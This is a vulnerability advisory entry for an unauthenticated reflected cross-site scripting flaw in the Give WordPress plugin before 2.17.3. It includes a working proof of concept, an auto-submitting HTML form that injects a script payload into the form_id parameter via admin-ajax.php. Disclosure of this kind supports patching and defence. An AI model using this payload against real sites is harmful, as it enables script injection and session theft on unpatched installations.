Lucene search

K
wpexploitJrXnmWPEX-ID:87A64B27-23A3-40F5-A3D8-0650975FEE6F
HistoryJan 18, 2022 - 12:00 a.m.

Give < 2.17.3 - Unauthenticated Reflected Cross-Site Scripting

2022-01-1800:00:00
JrXnm
173
unauthenticated user
html form
admin-ajax.php

EPSS

0.001

Percentile

41.5%

The plugin does not sanitise and escape the form_id parameter before outputting it back in the response of an unauthenticated request via the give_checkout_login AJAX action, leading to a Reflected Cross-Site Scripting

As an unauthenticated user:

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" id="hack" method="POST">
      <input type="hidden" name="action" value="give_checkout_login" />
      <input type="hidden" name="form_id" value='xxxxxx"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>

  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>

EPSS

0.001

Percentile

41.5%

Related for WPEX-ID:87A64B27-23A3-40F5-A3D8-0650975FEE6F